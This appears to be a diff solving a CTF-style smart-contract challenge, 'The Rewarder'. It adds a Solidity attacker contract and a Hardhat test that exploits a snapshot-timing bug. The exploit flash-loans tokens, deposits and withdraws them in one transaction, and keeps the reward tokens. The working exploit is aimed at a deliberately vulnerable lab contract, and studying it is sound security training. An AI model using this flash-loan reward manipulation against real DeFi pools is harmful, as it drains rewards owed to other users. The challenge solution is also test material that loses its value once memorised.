theredguild#5 the rewarder

contracts/the-rewarder/TheRewarderAttacker.sol

@@ -0,0 +1,36 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity ^0.8.0;
+
+import "../DamnValuableToken.sol";
+import "./FlashLoanerPool.sol";
+import "./TheRewarderPool.sol";
+import "hardhat/console.sol";
+import { RewardToken } from "./RewardToken.sol";
+
+contract TheRewarderAttacker {
+
+    FlashLoanerPool flashLoanerPool;
+    TheRewarderPool rewarderPool;
+
+    constructor(address _flashLoanerPool, address _rewarderPool) {
+        flashLoanerPool = FlashLoanerPool(_flashLoanerPool);
+        rewarderPool = TheRewarderPool(_rewarderPool);
+    }
+
+    function attack() public {
+        flashLoanerPool.flashLoan(1000000 ether);
+        RewardToken rewardToken = rewarderPool.rewardToken();
+        rewardToken.transfer(msg.sender, rewardToken.balanceOf(address(this)));
+    }
+
+    function receiveFlashLoan(uint256 amount) public {
+        DamnValuableToken liquidityToken = flashLoanerPool.liquidityToken();
+        // Receive flashloan -> deposit to rewarder pool -> withdraw from rewarder pool -> return flashloan.
+        liquidityToken.approve(address(rewarderPool), amount);
+        rewarderPool.deposit(amount);
+        rewarderPool.withdraw(amount);
+        liquidityToken.transfer(address(flashLoanerPool), amount);
+    }
+
+}

test/the-rewarder/the-rewarder.challenge.js

@@ -69,7 +69,13 @@ describe('[Challenge] The rewarder', function () {
     });
 
     it('Execution', async function () {
-        /** CODE YOUR SOLUTION HERE */
+        // The rewarderPool has a bug that it takes the snapshot AFTER the first deposit takes place. So
+        // we can simply perform a flashloan, and deposit to rewarderPool as the first deposit, then return
+        // the flashloan. Our rewards will be calculated by our flashloaned deposit amount.
+        await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days
+        const attackerFactory = await ethers.getContractFactory('TheRewarderAttacker', player);
+        const attacker = await attackerFactory.deploy(flashLoanPool.address, rewarderPool.address);
+        await attacker.attack();
     });
 
     after(async function () {